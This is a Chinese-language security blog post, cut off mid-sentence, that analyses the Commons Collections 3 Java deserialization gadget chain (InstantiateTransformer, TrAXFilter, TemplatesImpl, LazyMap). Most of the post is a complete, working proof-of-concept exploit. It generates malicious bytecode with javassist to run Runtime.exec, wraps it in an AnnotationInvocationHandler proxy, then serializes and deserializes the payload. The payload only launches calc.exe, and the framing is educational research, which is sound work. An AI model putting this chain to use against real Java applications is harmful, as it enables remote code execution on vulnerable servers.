Commons Collections 3

2021-07-28

序言

环境配置还是与CC1一样：java环境：1.7 , commons-collections: 3.1

如果说CC1是从AnnotationInvocationHandler的readOject入手，利用Map(proxy).entrySet()触发TransformedMap->checkSetValue()，进而调用ChainedTransformer->transform()，CC2是利用InvokerTransformer.transform()调用newTransformer去加载字节码RCE的话，那么CC3就像是CC1和CC2二者的结合。

前置知识

InstantiateTransformer

org.apache.commons.collections.functors.InstantiateTransformer

其transform方法：

注意这里最终返回的是一个对象的初始化，并且其中参数都可控，看到这个实例化，有没有一丝丝CC2加载字节码的感觉。

TrAXFilter

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

_transformer = (TransformerImpl) templates.newTransformer();

看到这个newTransformer()是不是更像CC2了，CC2是用InvokerTransformer来反射触发TemplatesImpl.newTransformer()，最后触发_class.newInstance()实例化加载字节码触发RCE。

而这里的TrAXFilter可以代替InvokerTransformer调用newTransformer()，上面的InstantiateTransformer再来充当实例化TrAXFilter的角色。

POC分析

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
        //javassist 生成字节码
        ClassPool pool=ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass test=pool.makeClass("EvilTeabo");
        String name="EvilTeabo";
        test.setName(name);
        String cmd="java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        //System.out.println(pool.get(AbstractTranslet.class.getName()));
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        CtConstructor cst=test.makeClassInitializer();
        cst.insertBefore(cmd);
        test.writeFile("./");

        byte[] bytes= test.toBytecode();

        //TemplatesImpl 加载字节码
        TemplatesImpl templates=TemplatesImpl.class.newInstance();
        Class temp=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        //先挨个设置反射时候内部链所需的值
        Field _name=temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Teabo");  //_name满足非空

        Field _bytecodes = temp.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates,new byte[][]{bytes}); // _bytecodes赋值一个javassist得到的Byte数组

        //构造chainedTransformer,用TrAXFilter调用InstantiateTransformer的newIntance()
        Transformer[] chain=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(chain);

        //设置LazyMap对象的factory属性为chainedTransformer链
        Map map=new HashMap();
        Map lazymap= LazyMap.decorate(map,chainedTransformer);

        //以下为cc1部分AnnotationInvocationHandler
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例，并传入transformedMap
        InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazymap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=ctor.newInstance(Override.class,map1);

        //序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./evilCC3.bin"));
        outputStream.writeObject(object);
        outputStream.close();
        //反序列化
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./evilCC3.bin"));
        inputStream.readObject();

    }
}

利用链：

ObjectInputStream.readObject()
           AnnotationInvocationHandler.readObject()
               Map(Proxy).entrySet()
                   AnnotationInvocationHandler.invoke()
                       LazyMap.get()
                           ChainedTransformer.transform()
                           ConstantTransformer.transform()
                           InstantiateTransformer.transform()
                           newInstance()
                               TrAXFilter#TrAXFilter()
                               TemplatesImpl.newTransformer()
                                        TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses
                                        newInstance()
                                           Runtime.exec()

前半段生成字节码文件和设置TemplatesImpl的值与CC2一模一样。可以参考CC2。

但是接下来和CC2有不同的地方，CC2是用ComparatorTransformer来调用InvokerTransformer.transform()去触发TemplatesImpl.newTransform()，进而实例化字节码文件。而根据前置知识的了解可以知道，这里还能用InstantiateTransformer对象去实例化TrAXFilter,在里面触发newTransform()实例化。

所以这里这样构造：